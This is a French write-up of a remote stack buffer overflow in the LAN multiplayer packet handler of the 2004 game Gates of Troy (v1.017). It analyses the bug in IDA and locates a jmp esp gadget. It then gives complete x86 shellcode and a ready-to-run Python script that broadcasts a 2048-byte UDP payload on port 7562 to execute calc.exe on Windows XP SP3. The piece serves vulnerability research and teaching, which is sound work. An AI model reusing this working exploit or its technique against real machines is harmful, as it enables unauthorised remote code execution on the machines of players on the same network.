Gates Of Troy

Introduction

Gates of Troy est un jeu de stratégie en temps réel développé par Slitherine Software et publié en 2004. Cette article traite de la version CDROM du jeu (version 1.017) et non de la version Steam sortie récement en octobre 2022.

Gates Of Troy - v1.017

Protocole réseau

Une rapide capture réseau lors du mode multijoueur permet de voir que le protocole utilisé est basé sur UDP. Ce n’est pas du DirectPlay comme on pourrait le voir dans la plupart des jeux de cette époque.

Le programme broadcast les informations comme le nom de joueurs sur le réseau local. C’est ainsi qu’on les retrouves dans le salon de pré-partie.

Vulnérabilitée

En listant les xrefs sur la fonction recvfrom on retrouve la fonction de traitement des paquets réseau.

Et là c’est le drame, le paquet est reçu dans une zone de 0x8000 octets en BSS, mais il est recopié sur la stack dans une zone 2048 (0x800). Le développeur a probablement fait une faute typographique (0x8000 -> 0x800) ce qui donne lieu à une vulnérabilité de type stack buffer overflow.

Exploitation

Un rapide coup d’oeil dans la stack view d’IDA permet de voir que l’adresse de retour de la fonction (r) est placée juste après le buffer. Il faut donc envoyer 2048 octets pour écraser cette adresse.

Lorsque le programme quitte la fonction, celui-ci exécute l’instruction ret ce qui a pour effet de dépiler l’adresse de retour dans EIP. En contrôlant l’adresse de retour on peut faire exécuter au programme des instructions arbitraires qui aurait été placé dans la stack par exemple.

Comme l’adresse de la stack peut varier d’un environnement à un autre, on va utiliser un gadget ( une instruction ou suite d’instructions déjà existante dans le programme ) pour sauter sur la stack. Un gadget de type jmp esp serait idéal. L’utilitaire ROPgadget1 va nous trouver ça :)

$ ROPgadget --binary Troy.exe | grep ': jmp esp'
0x46007c : jmp esp

Il n’y a aucune contraintes sur les octets que l’on peut envoyer, on va écrire un peu d’assembleur pour réaliser les opérations suivantes :

WinExec("C:\\Windows\\System32\\calc.exe",SW_NORMAL);
ExitProcess(0);

Dans un premier temps on prépare les paramètres qui seront passé à la fonction WinExec.

On commence par pousser notre chaine de caractère sur la stack (en partant de la fin car la stack grandie vers les adresses basses). Les blocs de 4 caractères sont encodés sous forme d’entier en little-endian. A la fin des opérations ESP pointe sur notre chaîne de caractères, on récupère son adresse pour plus tard dans le registre ecx. Cela a pour avantage d’être portable d’un environnement à un autre, puisque l’adresse de la chaîne de caractère sur la stack est calculé dynamiquement.

push 0
push 0x6578652e
push 0x636c6163
push 0x5c32336d
push 0x65747379
push 0x735c7377
push 0x6f646e69
push 0x575c3a43
mov ecx,esp

Ensuite on pousse les paramètres de droite à gauche pour la fonction WinExec ( en 0x7C863231 sur un Windows XP Service Pack 3).

push 1
push ecx
mov eax, 0x7C863231
call eax

Le module python keystone2 est pratique pour assembler directement notre shellcode dans le script. Le code suivant envoie 2048 octets afin d’écraser l’adresse de retour avec l’adresse du gadget jmp esp, suivi du shellcode pour exécuter calc.exe

import socket
import keystone as ks

from pwn import *

UDP_IP = "255.255.255.255"
UDP_PORT = 7562

JMP_ESP = 0x0046007c


# Windows XP Pro Version 5.1 Service Pack 3
# WinExec("C:\\Windows\\System32\\calc.exe",SW_NORMAL)
# ExitProcess(0)

ASSEMBLY = """
	push 0
	push 0x6578652e
	push 0x636c6163
	push 0x5c32336d
	push 0x65747379
	push 0x735c7377
	push 0x6f646e69
	push 0x575c3a43
	mov ecx,esp
	
	push 1
	push ecx
	mov eax, 0x7C863231
	call eax
	
	push 0
	mov eax, 0x7C81BFA2
	call eax
"""

engine = ks.Ks(ks.KS_ARCH_X86,ks.KS_MODE_32)
shellcode = bytes(engine.asm(ASSEMBLY)[0])

overflow = b"A"*2048+p32(JMP_ESP)+shellcode

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.bind(("192.168.110.1",UDP_PORT))

sock.sendto(overflow, (UDP_IP,UDP_PORT))

A la fin de la fonction vulnérable, le programme dépile l’adresse de retour, exécute le gadget jmp esp, EIP pointe désormais sur sommet de la stack, et donc sur le shellcode qui lance la calculatrice Windows.

Liens

  1. ROPgadget
  2. Keystone